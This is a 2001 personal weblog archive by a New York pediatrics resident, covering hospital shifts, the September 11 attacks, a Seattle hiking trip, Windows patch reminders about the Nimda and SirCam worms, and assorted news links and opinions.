  • Fast User Switching (it doesn’t work if your machine is part of a Windows domain, which mine is)
  • the Active Directory administration tools (which don’t exist yet for the XP client side, although I am about to install and try out the beta versions that came with my MSDN membership)

Based on looking back at the treatment of the only surviving victims of Bacillus anthracis inhalation disease, the CDC is now recommending combination antibiotic therapy for any cases where there exists a high level of suspicion of the disease. As important, while every isolate of B. anthracis has been susceptible to penicillin, solo therapy with the drug is not recommended, because of the pressure it exerts toward development of antibiotic-resistant drugs. (As expected, the CDC’s anthrax web page is a great source of information.)

Go now and drop a couple of bucks on a MetaFilter TextAd. They’re cheap ($2 per 1,000 views), and being on the homepage of MetaFilter, they’re going to be put in front of a community of mostly intelligent and web-savvy people. And most importantly, they’ll help keep Matt in the lifestyle to which he’s become accustomed. smiley:

It doesn’t get much better than lounging on the sofa, watching the Yanks coming closer to the World Series, while [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] both of your ladies hang out a couple of feet away.

I challenge someone to come up with a tastier ice cream than Phish Food. I firmly believe that it can’t be done.

Praise be to [whatever almighty you believe in] — I’m done with the neonatal ICU, at least until April. Today, I started four weeks in the emergency room, and while it’s busy as hell and frustrating at times, it’s far more interesting and rewarding. I was on the acute side today, and that meant fifteen patients with whom I got to play, from a little girl who fell down a flight of steps at school to an even littler girl with hypopyon and corneal ulcer. I learned today! (Oh, and to set you at ease: the girl who fell down the stairs is fine, at home after a negative cervical spine series and head CT scan, and the girl with the eye infection will be fine, after she gets a whole heaping load of antibiotics.)

I get so sick of reading columnists complaining about Windows XP now enforcing the fact that you have to buy separate copies for all of your computers. It’s the freaking law, people. Would Walt Mossberg’s employer be happy if brokerage firms got one subscription to The Wall Street Journal, scanned it, and provided it to all the employees online? I doubt it… yet that’s what he, and others, think people should be able to do with Windows XP.

How many of you celebrated Sweetest Day yesterday? I honestly had no idea that it existed until Shannon filled me in a few days ago. (Of course, being a relatively modern holiday, we both felt it appropriate to celebrate it in a modern way.)

Ohmygod, this is funny. I’ve had about the same results with online technical support, even when I’ve been 100% positive that the responses were coming from an actual, live human being. Of course, speaking to someone on the phone (rather than online) doesn’t guarantee that the “help” isn’t equally as useless; try dealing with Iomega or Sprint to experience what I’m talking about.

I should probably play a little with Tiny Personal Firewall; it looks like a good program to put on the computers of all the people I’ve convinced to get always-on Internet connections.

Have you ever been called inadequate by an ex-girlfriend? How about in the New York Times?

Ms. Kahn and Mr. Kirby met at Columbia, where they graduated, she summa cum laude. Ms. Kahn remembered “gazing fondly” at Mr. Kirby as they crossed paths going to and from classes on campus during the spring of 1993.
 
“Specifically, on Tuesdays and Thursdays around 11 a.m.,” she recalled. Yet for more than a year, they never spoke, mainly because Ms. Kahn had a boyfriend for most of that time and Mr. Kirby was oblivious to Ms. Kahn’s silent admiration.

Ah, how history gets reinterpreted… smiley:

Yep, another week without a meaningful update. Thanks to everyone who contributed how their last week was; I really like hearing about the people who come here to visit. To reciprocate, here’s how my weekend went:

This was my “golden weekend,” which means that I didn’t have any reason to be in the hospital from Friday afternoon through this morning. As luck would have it, it coincided with the wedding of one of Shannon’s best friends down on the Jersey shore, so off we went. (And if anyone tells you that racial profiling has gone the way of the dodo bird, I beg to differ; the only trunk that I didn’t see searched while going into the Lincoln Tunnel Friday evening was ours, belonging to the two white kids in the Mazda sedan.)

Friday night and Saturday morning was spent at Shannon’s house in South Jersey, Saturday afternoon and night were spent with a group of her best friends in a hotel suite at the shore, and Sunday was spent literally on the beach, watching a beautiful wedding. I got to see where Shannon grew up, I finally met a big group of her best friends, and I left the city for the first time since the World Trade Center attacks.

I have always felt that the only thing nicer than getting out of New York City is returning to New York City. Don’t get me wrong — the weekend was fantastic, and going on my first (mini-)vacation with Shannon went better than either of us could have ever expected. But home is home, and even in the wake of all that’s happened — and is happening — here, it’s really nice to be back.

usYachtClub: Shannon and I at the Ocean City Yacht Club, October 14, 2001.

(As always, please feel free to tell us how your week went!)

Over the past two weeks, I’ve felt a little guilty about not keeping things as up-to-date around here as everyone’s used to. It hit me today that my feelings of guilt originate from the fact that, over the past two years, I’ve developed a relationship with all you people who come here to read what I write. Right now, that relationship’s mostly one-way — I write, you read, and occasionally, someone contributes via the Discuss system. I want to try to change that a little, and ask people who come here to read to take this opportunity to also take a baby step forward and give something back. After thinking about it a little, I have decided that I want to take a trick out of Caleb Clark’s hat. So here I ask you:

How was your week? Do anything fun? Have to endure something tough? Have a little story to share with all of us?

(Click on the little “Discuss” link below and to the right…)

So, it appears that Fred’s back, after joining us here in NYC. (Well, he lives in Brooklyn, but I guess we’ll consider that NYC proper for his sake.)

My on-call night in the NICU Thursday was possibly my busiest, most hectic one ever; sleeping until after noon today may not have been enough to catch up on the lost energy and sleep. I was called to the delivery room 10 times (strangely, to the births of nine girls and only a single boy), and two of the births were of babies with hypoplastic left heart syndrome. Another of the kids was born through thick meconium, and ended up on a ventilator and sick sick. All this was in addition to caring for the two dozen kids who were already on my service; about the only thing that perked the night up was that Shannon came up and spent around five hours hanging out in the call room, providing moral support and kisses whenever I needed them. (Oh, and Wendy’s Big Bacon Classic, which my body needed more than you could possibly imagine.) She rocks — and, in retrospect, so did the night on call.

Derek’s got a good mini-essay on the inclusion (and explicit categorization) of overtly racist groups by Yahoo Groups over at his Design for Community website. I’m on his team — being the arbiter of what’s allowable in its community, Yahoo is making a statement by allowing white supremacists and other racists to use its facilities, and it’s a statement that saddens me a bit.

Hey! How did I not realize until just now that today’s a palindrome day?

10 02 2001

Cool — I had no idea that the U.S. can selectively disable civilian GPS signals in specific areas (thereby preventing things like our enemies from using our satellites to move their troops). Makes sense.

The Second U.S. Circuit Court of Appeals ruled yesterday that the FCC has the authority to regulate the dialing methods used within localities. Why would I possibly care about this? Because the locality in question is New York City, and the ruling means that in under a year, all us New Yorkers will have to start using 10-digit dialing in order to make all calls within the city, even in the same area code. (The flip side of the coin, though, is that with five area codes in the city these days, a huge number of calls already have to be made with 10-digit dialing.)

For a while, it looked like the NFL was going to consider moving the Super Bowl to New York City this year, both out of need for a new venue (the World Trade Center atrocities shifted the football season off one week, and there are major conflicts to be resolved to keep the game in New Orleans on the later weekend) and as a gesture to the city, to show that things can return to normal and pump money into the local economy. Unfortunately, though, it looks like the NFL is close to working out a deal that will keep the game in New Orleans. Bummer.

Wow, the bees have been busy at Userland. Last Friday, they released a set of changes to Manila servers which allowed people to view pages in a more print-friendly format, but the template used to generate the format was hard-coded into the server. After a request to make this template editable by the site administrator, they released that change today.

Likewise, Userland started changing the entire weblogs.com update interface, but unfortunately, Manila servers could only participate on a server-by-server basis (rather than each administrator of a site on a server deciding whether or not to participate). Again, a request was made to allow each site to choose — and again, that request was granted today. Rock on.

After playing around with the template that’s part of the new print-friendly feature of Manila (thanks, Brent), there’s now a version of Q that’s light on the formatting. If you’re into quick-loading, no-frills (and no-sidebar) pages, then this one’s for you. (Here’s the corresponding link to create a custom AvantGo channel containing Q, if you want to carry my insane thoughts around on your handheld.)

In all the press attention about a certain Supreme Court order today, a few other interesting goings-on at the Court have been lost. What are they, you ask? Well, for one, a group of Orthodox Jewish ex-Yale students lost their last appeal to overturn a decision which forces them to abide by the housing code despite its conflict with their religious beliefs. In addition, the Court refused to overturn a lower court decision that Amway’s distributors can’t claim First Amendment protections when they tell customers that Procter & Gamble is associated with Satan. And lastly, the Church of Scientology won’t be allowed to reinstate its libel case against Time Magazine for its award-winning article, “Scientology: The Thriving Cult of Greed and Power”. I’m sure that there are even more interesting cases buried in complete order list for today, too.

Remember when I mocked LA for thinking about imposing taxes on orbiting satellites? Apparently, the state tax assessor’s office agrees; LA County failed in its second attempt to do just that.

I think it’s a bit scary that the official White House transcript of Ari Fleischer’s comments about Bill Maher’s now-infamous remark completely omits Fleischer’s warning that, in times like this, “people have to watch what they say.” (Multiple sources confirm that Fleischer did, in fact, say exactly that; the second of those two, the New York Times article, also contains acknowledgement from Fleischer’s own staff that he said it, and blames “a transcription error” for the remarks not appearing in their entirety on the White House website. Of course, they’re not yet fixed…)

During the hours immediately after the World Trade Centers were hit, the only way that I could keep in touch with my sister and brother-in-law was via his RIM two-way pager; it was through the pager that they were even able to meet up and flee downtown. Not surprisingly, with the cellphone networks in Manhattan deluged by the disaster, it turns out that we weren’t the only ones completely dependent on two-way paging. (Of course, the nearly flawless performance of the pagers is probably related to the fact that they aren’t used nearly as much as cellphones, and thus aren’t as prone to overloaded use.)

The way that I see it, Viagra may help mountaineers breathe easier at higher altitudes, but any advantage this may afford them must be offset by their crushing desire to hump their Sherpas, right?

The New York Times has a great article about the huge effort that will be required to rebuild the subway tunnels underneath the World Trade Center site. More than a mile of tunnels need to be rebuilt, at a potential cost of $1 billion or more. Complicating things is the fact that the city is going to have to fill part of the tunnel system with concrete in order to short up the roads above for recovery equipment; construction crews will then have to wreck all that concrete out of the tunnels when the time comes.

New York has now banned amateur photography at the World Trade Center disaster scene, calling it a “crime scene.” I can’t see how they’re going to enforce this; likewise, I can’t see how they can legally justify it, seeing as they are still allowing news organizations to shoot pictures and video.

In what appears to be a pretty well-designed study, doctors at Columbia have demonstrated that prayer nearly doubles the success rate of in-vitro fertilization. Interestingly, the prayer that they studied was “intercessory prayer” — not the pregnant women themselves praying, but instead, groups of other people praying for them. Freeeeaky. (The entire paper is currently available on the Journal of Reproductive Medicine website, but it’ll disappear soon.)

If the concept of whales running around on land atop spindly ankle bones doesn’t freak you the hell out, then you’ve got way better of an imagination than I do.

Yesterday, I started back up in the neonatal ICU, which means two things to you, the faithful reader. First, it means that you’ll get a few more stories about the things that pediatricians and neonatologists do to save kids in the earliest hours of their lives — like when i just gave an immediately newborn little boy a few breaths from a mask, and he went from looking like death to crying and screaming and doing all those things that babies who’ve just come out of the womb do. (I love the incredible resilience of newborn babies.) Second, however, it means that there’s a good chance that I’ll be a little quieter than normal; the hours are grueling, and I get this feeling that sleep will be at a premium.

I’ve been meaning to point to this for a week now: Slate’s Daryl Cagle has been collecting all of the political cartoons that have come out of the World Trade Center horror. Some are heart-wrenching, others are insightful, and yet others are offensive; all of them contain the raw emotion that political cartoons are so good at capturing and conveying.

I’ve been feeling guilty this week. Shannon and I are both pretty much non-religious, but in light of the events here in New York last week, Shannon felt it was important to go to church last weekend. My extended family celebrates Rosh Hashanah every year, and the deal that Shannon and I made was this: she’d accompany me to the family dinner if I’d accompany her to church. What was the source of my guilt in this, you ask? Well, we made it to Rosh Hashanah without a problem, but… we didn’t make it to church.

The way I’m making it up to her, though, is that I managed to get us tickets to the memorial service that’s being held today at Yankee Stadium. Apparently, the security’s going to be tight (no bags, bottles, or umbrellas, and picture IDs required from everyone); there’s also going to be a wide no-fly zone over the Stadium. I’m hoping I’m allowed to bring my camera in.

For future reference, for me as well as everyone else out there who runs Windows 2000: a summary of every one of the approximately 100 services that run under Windows 2000 Server.

Yay! Diana Krall just released a new album, “The Look of Love.” Maybe it’s time to treat myself to a new CD…

For the past 15 years, Seattle has distributed a voter’s pamphlet, complete with statements from each candidate running for office explaining his or her position. One thing banned from those statements, however, is mention of any other person who is running for office. Grant Cogswell, candidate for City Council, took issue with this restriction, and this past week, won his case; the ban has been struck down as unconstitutional by U.S. District Court for the region. And why do I mention this at all? Because my brother was the attorney who argued this baby. Kick ass.

Brent’s put together a great list of ways that you, as an individual, can help stimulate the American economy.

Something I’ve been hearing and reading a lot about in New York right now is how, in the aftermath of the terrorist attacks, people are depending a lot on physical contact with each other — people hugging, couples clinging to one another, that sort of thing. Apparently, it goes one step beyond that, with the rise of terror sex in New York over the past week.

In the context of hunting down terrorists in the Middle East, Slate has a good, short explanation of the current U.S. spy satellite capabilities, as well as those of other nations and the private sector. I honestly hadn’t realized how advanced our satellites are, especially when compared to the others up in orbit.

Four more stories have been added to the Fray missing pieces collection, all from people who were a little too frazzled last week to get their entries in to Derek in time for the original publication. Of course, there’s also the user-submitted entries, many of which are more moving than the original stories.

In news of the overindulgent, a British mother spent over $200 chasing down her 11-year-old son so that she could give him the GameBoy that she forgot to pack into his suitcase. My favorite part of the story is the total irony involved — the boy was on a field trip to a remote island so that he could learn about living without modern amenities. (There’s now a silly MetaFilter thread about this.)

The governor of New York, George Pataki, announced today that the state will provide free college education for the spouses and children of everyone who was killed in the disaster last Tuesday. I couldn’t be more proud of my state right now; I have nothing but respect for the way that Giuliani and Pataki have handled everything here over the past week.

OK, people — if your Windows machine was hit with today’s outbreak of the Nimda worm, then that means one of two things: you’re either still vulnerable to a bug that was discovered in October of last year, or to one that was discovered in March of this year. In today’s environment of always-on Internet connections and viruses and worms flying around, there’s no excuse for not staying up-to-date with bug fixes. In this case, there are two important ones, one for Internet Information Server and one for Internet Explorer and Outlook. (Note that the second one is a superceding patch; all of the bulletins point to this patch, but it’s encompassed in the bulletin linked above.) Most importantly, though, sign up to receive future Microsoft bulletins automatically; it’s a no-lose proposition.

It’s inappropriate to tell someone they’re not being patriotic because they’re not reacting to the crisis in the same way you are. It’s inappropriate to tell someone they’re “un-American” or “unpatriotic” because their house or car happens not to be festooned with flags. It’s inappropriate to say awful things to somebody because you disagree with their peaceful yet honest reactions.

In the wake of the terrorist attacks, Chuck Taggart has something to say about people who proclaim to know the right way to demonstrate patriotism. (That link now reflects Chuck’s permanent URL for the entry.)

As a New Yorker and a cat owner, I’m incredibly glad to see that there is a concerted pet rescue effort underway in the area affected by the World Trade Center attacks. I’ve already heard from some that this seems like a silly little thing, but (in addition to the fact that I disagree with that assessment) in times like this, we grasp onto silly little things as proof that we can help life start back up again.

Has anyone installed and used Microsoft’s URLScan Security Tool? It’s billed as an IIS filter that pre-scans all incoming URL requests for potential security compromises (e.g., characters that don’t belong requested address, and that sort of thing), but I wonder if it works, and what kind of impact it has on the web server. If you’ve used it, I’d appreciate it if you’d let me know what your experience has been.

new york times magazine cover

Will someone please remind me to pick up a copy of the New York Times next Sunday? The NYT Magazine, which is already available online, will be devoted to the events of this week, and it looks like it’ll be something I’ll want to archive and get back to every now and again. Something I particularly like is the cover (the picture to the right), which is a proposed light sculpture to occupy the space of the Towers until something is rebuilt there.

I apologize for not saying more around here. In my head, I keep returning to what happened on Tuesday, but I can’t get myself to log a lot of what I’m feeling, or the things that I find on the web about the terrorist acts; I’m leaving those activities in the hands of those who have already proven themselves capable of performing them. I promise, I’ll return to my near-normal self this week, although it struck me today that there probably won’t be a return to total normalcy here any time soon.

There’s a new Fray, Missing Pieces, about the abhorrent acts of this past Tuesday, and the way that we’re all coping with the changes in our lives wrought by them.

remember the victims

Happy birthday, Noah; I’m sorry that you couldn’t be here, celebrating at First Wok with us and at Grove tomorrow night. I’ll see you soon.

Shannon is OK (thank GOD). Anil is OK. Karen is OK (happy birthday). Phil is OK. James is OK. Cam is OK. Damien is OK. Mike and Dineen are OK. Steven is OK. Grant is OK. Jenifer is OK. Pixi is OK. Jeffrey is OK. Bob is OK. Gus is OK. Joel is OK.

“After several minutes of describing the scene, Jeremy and several other passengers decided there was nothing to lose by rushing the hijackers. Although United Flight 93 crashed outside of Pittsburgh, with the loss of all souls. Jeremy and the other patriotic heroes saved the lives of many people on the ground that would have died if the Arab terrorists had been able to complete their heinous mission.”

In all of the terror, confusion, and sadness yesterday, patriotism reared its head on board United Flight 93 yesterday.

Amazon has set up a quick micropayment system that allows you to donate as little as one dollar (or as much as you want) to the Red Cross disaster relief effort. Think about the money you spend each week on coffee, bagels, whatever; now, think about giving that money to the work going into helping those affected most by this.

As a New York site, I feel it’s important that I open things up here to people who can’t communicate because of the telecommunications problems that we’re having here. So please, feel free to click on the little Discuss link, and post whatever you need to; use it for messages to each other, words of inspiration, whatever. Fill up my hard disk; I don’t care. Spread the word, too.

My heart goes out to all those who have loved ones who have been hurt or killed today; words cannot convey how I am feeling right now.

If you’re in Manhattan, think about something seriously for me — there was already a major blood shortage, and there will be an immense need for blood. Most hospitals have set up ways for you to walk in and donate blood today; please, if you’re OK, and your family is OK, and you are just glued to your television, think about ungluing yourself, walking to your nearest hospital, and donating.

I cannot stress how important this is right now.

For everyone who’s emailed or tried to call/page, I’m OK, Shannon’s OK, and so is everyone in my family. I’m in clinic today, and things have been hectic; they’re going to use our hospital, obviously, for this, so things are going to be hectic for a while. Thank you for your kind words and worries; more as I know it.

In the mean time, Dave Winer seems to be on top of the news sites, so go there.

I spent a little time today putting the photos up from my trip to Seattle, if you’re interested in taking a look. (If you’re just looking for the hiking pictures, you can start the show here instead.) They include shots from wandering around Fremont and Seattle, visiting the Experience Music Project, hiking the Hoh River Trail on the Olympic Peninsula, and watching the Mariners win their 100th game this season.

So, today was a sad day — I learned that my absolute favorite patient, a 3 year-old to whom I had become more of a brother/friend than a doctor, died overnight. He had leukemia, had received a stem-cell transplant nearly a year ago, and had been struggling with numerous complications since; he had spent only about three or four weeks at home since his transplant. It’s not hard to see the death-isn’t-always-the-worst-option perspective in this, but I’m going to miss him immensely.

So, Noah and I have returned from our hike along the Hoh River Trail, and I have to say that while it kicked our asses — nine miles on day one, 20 miles on day two (including 4,100 feet of elevation over six miles), and then nine miles on day three — it was amazing. Ten miles into the second day, the view below is what we were treated to… definitely worth the work. When I get back to NYC, there’ll be more pictures; I’m on dialup here and without my trusty, rusty Photoshop.

meAboveBlueGlacier: Me sitting above the Blue Glacier, at the end of the Hoh River trail on the Olympic Peninsula of Washington state.

I usually use a little micro-hard disk in my MP3 player, and while I love the amount of music it lets me keep at any one time, one of the frustrating things is that it has a tendency to skip if I jiggle it a little too much. Right before I flew out to Seattle, though, SLC filled a CompactFlash card with music for me — a card without any moving parts, and I’ve been listening to it since. Yesterday, though, I realized that I sort of miss the little micro-hard disk — it forced me to slow down a bit, not rush around as much, pay attention to everything around me. And in thinking about that more, I realize now how important that concept’s been in almost everything in my life lately, and how much happier I am right now because of that seemingly little change.

OK, so I’ve found another place in Seattle that I love — the Elliott Bay Bookstore, in Pioneer Square. Wow; this is my favorite bookstore, ever. All old wood bookshelves, level after level, and every sign of a staff that pores over the store with immense care. The best part is that there are staff suggestion signs on every single bookcase, each with reasons why you’ll love the book. After spending a few hours inside the store yesterday (I read an entire book there!), I understand why people worry about the spread of Borders and Barnes & Noble superstores, and the rise of Amazon and its ilk online — stores like Elliott Bay may disappear in the near future. That would suck.

In other Seattle news, the inherent goodness of all mankind was on full display Tuesday morning when a woman was threatening to jump off of a bridge on Interstate 5, and motorists who were delayed by the police activity began screaming at her to jump. She eventually did jump (although that’s not to say that they were the cause); she’s in serious condition at a local hospital. The whole thing was a bit depressing. (As always, there’s a MetaFilter thread going already.)

OK, if you’re ever in Seattle, you have to go to the Experience Music Project. What a phenomenal place. I spent six hours there yesterday, and could easily spend another few days without exhausting everything. (I spent nearly three hours in the jazz sections, and nearly two hours in the hip-hop/rap sections alone.) It’s a true multimedia experience — they give you this little handheld/wearable computer, and as you walk around, it gives you audio clips on everything that you see. You can bookmark things, and then go to their website, type in your ticket number, and see all your bookmarks. (My bookmarks, however, didn’t get uploaded, which throws a monkey wrench in that whole concept. Bummer.) Trust me — dedicate a day to it, and enjoy. (And I can’t let the thanks to Kiehl go unsaid for the recommendation.)

It’s amazing how things can change in the blink of an eye. There’s a lot more to say; I’ll get to it. It’s good. smiley:

I’m off to Seattle today for a 12-day vacation… but never fear, chances are good I’ll be checking in here, since I have stuff I need to do online while I’m there, and I’ll have pictures from the hiking and whatnot.

How much did I love Buena Vista Social Club? So much. I’ve been listening to the CD for a few years now, but after having seen the movie for the first time last night, I realize how little I understood about the monumental effort and significance of it all. What an amazing group of people.

Meg is kicking ass, and reminding me why I like reading her and chatting with her whenever I get the opportunity.

What a weird story — a girl goes missing a month ago, after being assaulted and then being temporarily hospitalized in a psychiatric unit, and now she turns up and calls home. The nice part of the story is how people have rallied to help the family out and bring the girl home.

So, I’m finished in the peds ICU, and I’m sad to say that I don’t go back there this year again. It was a tough rotation, but honestly, the best way for me to learn is by doing, and the kids in the ICU need a lot of hands-on work. I’ve also gained an appreciation for just how resilient kids can be — I got to see them go from overwhelmingly sick to rock-stable in much shorter amounts of time than I thought possible. All in all, I’ll miss it a lot.

I have been immersed in Ninjai, a stunning animated cartoon about a young little Ninja trying to figure out his place in the world. It’s a bit gory, but the animation is only surpassed by the voices of the characters. It’s a bookmark, for sure.

Anil is a damn funny little teetotaler. Trust me, you gotta go read this; hell, then, cut-and-paste it into your mail program as an automated reply to your friends who forward a few too many “funny” emails.

Something to jot into your dayplanner: September 22nd through 29th is the American Library Association’s Banned Books Week. Take a stroll through the list of most-frequently challenged books of the last decade, and choose a few to read over the course of that week; encourage your kids to do the same. (I’ve started early. In honor of its fiftieth birthday, I bought Catcher in the Rye a few weeks ago, and started rereading it a few nights ago. Anyone out there have any other appropriate suggestions to enrich my end-of-September reading list?)

Something to remember during my upcoming hiking trip to Seattle: it appears that the glaciers around Mt. Rainier are acting up. Apparently, during hot weather, water melts within and underneath glaciers, and after it reaches a critical pressure, it breaks free in what’s called a glacial outburst. Seeing that Noah and I are planning (at least as of the last time I asked) to hike the Blue Glacier, maybe we should be a little careful.

shuttle gliding into a landing

What a great picture of the Shuttle coming in to land today. It always stuns me when I see pictures like this, because it’s right about then that I remember that the Shuttle glides into landing — no power, no engines, nothing. I’d imagine that that puts a little fear into the hearts of the astronauts onboard…

A definition of humbling: watching a child go through full respiratory arrest right in front of you. A definition of inspiring: participating in a smooth, successful resuscitation, and as a team, bringing the child back from the brink of the arrest. That was a long night, but I wouldn’t trade it for the world.

Good luck on the move to Seattle, Gael!

Ummm…. does anyone care to explain this one to me?

“One of the interesting initiatives we’ve taken in Washington, D.C., is we’ve got these vampire-busting devices. A vampire is a — a cell deal you can plug in the wall to charge your cell phone.”

I don’t understand why everyone’s up in arms about Microsoft removing support for older Netscape-style plugins from the latest upgrade to Internet Explorer. Yes, it’s annoying, I’ll grant you that; now, I have to download QuickTime movies in order to watch them. But strangely, other plugins haven’t been broken (like RealPlayer and Acrobat, at least on my machine), so I’m finding it hard to blame Microsoft, rather than Apple, for this one. And has anyone ever demanded that Netscape add support for ActiveX components? Once again, it smells like hatred, rather than logic, is driving this outrage.

It doesn’t seem right that such a beautiful picture comes out of something that’s causing so much damage.

Yesterday, the New York Times brought us a pretty depressing story about a Kansas City pharmacist who, in the name of saving money, dispensed diluted chemotherapy to doctors and patients. How completely disgusting. Interestingly, the article says that the pharmacist admitted doing it “out of greed,” but that he plans to plead not guilty to the charges — I don’t understand that. (In case you don’t want to sign up for NYT access, here’s the Kansas City Star story, as well as the AP story and the Reuters version.)

Last week, I had dinner with my parents, and one of the topics of conversation was how idiotic someone has to be, in this day and age, to open an attachment without explicitly knowing what it is. Today, I got a call from my parents, asking how to fix the damage that occurred when my dad opened up an attachment that was infected with SirCam. I’m truly stunned — the man can operate on someone’s abdomen, but he can’t figure out comptuer viruses. (For future reference, Symantec has a removal tool that seems to do its job quickly and well.)

I’m trying out the News Items feature today. This means that each posting has an independent link for discussion, if any of you out there feel so inclined; the same link serves as the permanent link to that specific item. (The circled P in the date bar above each day’s entries still is the permalink for an entire day of postings.)

I don’t like that the News Items style is all or none — my home page doesn’t show the older-style postings when I’m in the News Items format — but I’m willing to give it a shot for now. I also don’t like that I tell Manila how many items to show, rather than how many days to show; I wonder if there’s a way to make the number of days the priority.

If you’re looking for the posts from the past few days, you can find them by clicking through the calendar on the upper right, or you can read Friday here, Wednesday here, Tuesday here, and Monday here.

Well then. Today, my pager went off during rounds in the PICU, and when I returned the call, I found out exactly who the secret visitors to Q from my hospital are. Wow… I’m perfectly willing to say that I’m a bit freaked out, but also very glad to have the new readers.

Thanks go out to Lawrence for sending me notice that my prediction was right — Q is now the third site listed if you’re hunting for a replacement penis. (And, by the way… holy crap, is Google indexing sites quickly these days.)

I’m glad to see that Edward Felten finally plans to speak on how his Princeton team defeated the SDMI music watermarks. I’d hate to think that the threats of the music industry would continue to prevent people from openly talking about these things.

There are two new Microsoft security updates to be aware of: a cumulative patch for IIS that actually includes a few new fixes, and an Outlook component fix. Just in case you don’t get these security updates automatically

There’s a new free website provider out there, but with a special bent: websites that help people in the hospital keep in touch with those close to them. It’s an interesting idea; I found out about them because my hospital just set up a co-branded site that offered the services to our inpatients.

I’m glad to see that there are new studies showing that all cellphones impair driving ability; maybe now the states that specifically exempt people from responsibility for accidents if they were using a hands-free phone will rethink the wisdom of those laws.

Genius, sheer genius.

Can anyone make heads or tails of this support article? This bug is biting me, preventing me from being able to save some attachments from my secure WebMail server, and I can’t figure out what the article is trying to tell me to do.

my best yankee seats ever

Tonight, I had, bar none, the best seats I’ve ever had at Yankee Stadium — the first row off the field, about twenty feet to the third base side of home plate. But, as always, there was a downside. (“What possible downside could there be?”, you ask incredulously.) The tickets were courtesy of the owner of the Tampa Bay Devil Rays, so that meant that I couldn’t root for the Yanks — and it damn near killed me. The Yanks went and won it, though.

qHr:

My stomach hurts in a bad way. Either something I ate at Yankee Stadium doesn’t like me, or this is my psyche’s way of telling me something.

Hmmmm… from perusing my log files, I now have a clandestine new reader in the hospital that employs me (and if I can trust the hostname of the computer, in the actual building in which I work). Who are you, new visitor?

Honestly, I wasn’t going to post today, but how can you not post when you run across an article about Russian doctors growing a replacement penis on some guy’s arm? Freeeeeeeaaaaaky. (Great… it just hit me that now, I’m going to get search engine hits for people who are hunting for that perfect replacement penis.)

The NASA Helios plane is just damn, damn cool. The thing is up there, flying at nearly 100,000 feet above the surface of the Earth, and because it’s solar-powered, it can stay up for a long damn time. I wonder how easy it is to manage via remote-control, though… hell, those little Radio Shack jobbies are hard enough, and they’re only about 50 feet above your head and you can see them while you’re flying them.

Oh my god — it looks like there’s going to be a Facts of Life reunion show. I’d be embarrassed to find out exactly how much time I wasted watching FoL as a kid (and, likewise, Diff’rent Strokes, Good Times, and The Jeffersons, since they were on in a two-hour block).

Why is it that, despite the fact that I subscribe to Salon Premium, I still get the little essays on my Salon home page that describe why I should subscribe to Salon Premium? Seems idiotic.

“Other things may change us, but we start and end with the family.” (Anthony Brandt, 1984)

brothers

Good luck, Noah; you’ll kick ass tomorrow (of course), and the rest of it will pass.

qHr:

You’d figure that there would be some karmic balance, that spending this much time in the peds ICU would mean that my life outside the hospital would be nice and uncomplicated. Alas, that’s not what’s in the cards, apparently; between people getting sick in my family, confusion and tension in my personal life, and a general feeling of unsettledness, I can’t help but peek around every corner wondering what’s next. And in general — and I know this will shock you all — I don’t like that feeling, especially given the big things that are coming up over the next few weeks.

This weekend seems to have been all about finding sites that are going to manage to make it onto my daily read list. The latest entry: designweenie, which seems to combine randomness and geekiness as much as I do. Have a read; I’ve found it as satisfying as a cold front in August.

Thanks go out to Dr. Herschel Lessin for his good article on pediatric health-related old wives’ tales. The prevalence of beliefs like these in my patient population is pretty high; the first time I had a mother bring her child into the ER with tomato sauce smeared all over a burn, I almost seized trying to hold in my giggles.

My heartfelt congratulations to Derek, who has finished his book on designing community spaces on the Internet. The proud papa of three community sites — {fray}, City Stories, and Kvetch — Derek knows of which he speaks. I’m anxious to get my copy of the book.

And speaking of community, I’m thinking of converting Q over to use the News Items feature of Manila; it would allow every entry to generate its own independent discussion, which may encourage people to contribute their thoughts whenever I start talking out of my ass. There are things about the feature that I don’t like, but I think that I can work around them to make it what I want it to be. (Obviously, if you have any opinions on the matter, please feel free to share them with me.)

qHr:

Today, I received an email response to my posting about the septic child who died in the ICU, and it made me think a lot. The email was both an expression of fear — what if that were my kid? — and a question — what can I do if that’s my kid? The question is a tough one to answer, mainly because I really do feel that it’s a rare event when a medical or surgical team isn’t completely on top of a child who’s getting sicker. But if it’s your child and you feel it is happening, then become the strongest advocate your child has ever had. Tell the nurse and the doctor; tell them until they do something to satisfy you, whether it’s explaining how things are under control, or doing something to get the situation under control. Listen to the explanations offered to you, accept those which make sense, and question those that don’t. Put your fears about being labeled a difficult parent behind you, and advocate for your child’s health.

Unfortunately, though, just because something bad happens in a hospital doesn’t mean that something could be done to prevent it. Part of my training as a pediatrician has been to understand that there are times when we can’t catch up to the damage being done by an illness. In the case of the little boy, there is a very good chance that this was the case. Sepsis is a terrible thing, and there are good reasons to believe that he was in the progressive stages of sepsis even at the moment that eyes were first laid on him in the emergency room. I know that that’s an empty concept to parents who have lost their child; one of my strongest motivations as a doctor is to help figure out what we can do to prevent them from ever having to face it.

Yeah, buddywe all feel your pain.

Flipping through the recent Astronomy Picture of the Day entries, I came across a great one of a warped spiral galaxy. It’s nearly unfathomable to me that things exist on this scale; every time my mind wanders in that direction, I have to sit down and get my bearings lest my head explode.

For all you people using Internet Explorer on Windows, service pack 2 for Internet Explorer 5.5 is now out. (Here’s a list of the fixes, if you’re into reading that sorta thing.)

I have to admit, I fell off the wagon for a little while, but I’m back to reading Beth on a nearly-daily basis. Add Mena to the mix, and sprinkle a healthy dose of Lia, and you have a nice casserole from my too-entertaining-to-not-read cookbook, made from the freshest ingredients.

Holy fuck, it’s hot out. It’s the kind of hot that makes your muscles ache, makes your eyes burn, makes your inner ears feel like they’re boiling and about to burst forth in an effort to find someplace, anyplace cool to go. Even the typical over-air-conditioned New York restaurants don’t offer enough respite from the heat. Thank God and all that’s holy that it looks like it’s coming to an end tomorrow.

Good luck to my brother Noah, who will be arguing his first case in front of a Federal District Court in the near future. Awesome.

Oh, what a great story.

Sorry to have to break the news that we can’t blame Microsoft’s leaky security on IIS, Meg — it appears to have been simply a case of a full hard disk. It also appears to be all better now, and I’m keeping an active eye on things.

You know all that press you’ve been reading about GLAAD’s denunciation of Kevin Smith’s newest film, “Jay and Silent Bob Strike Back”? Well, as is usually the case, it turns out that there is an entirely different side to the story — one that seems to involve the GLAAD representative agreeing that he was overcalling issues, getting Smith to donate a big wad of money to the Matthew Shephard Foundation, and then still telling everyone who would listen what a homophobic film it is.

I’m now a part of ScreenShotStart.com. I like the way that the little thumbnail looks…

qHr:

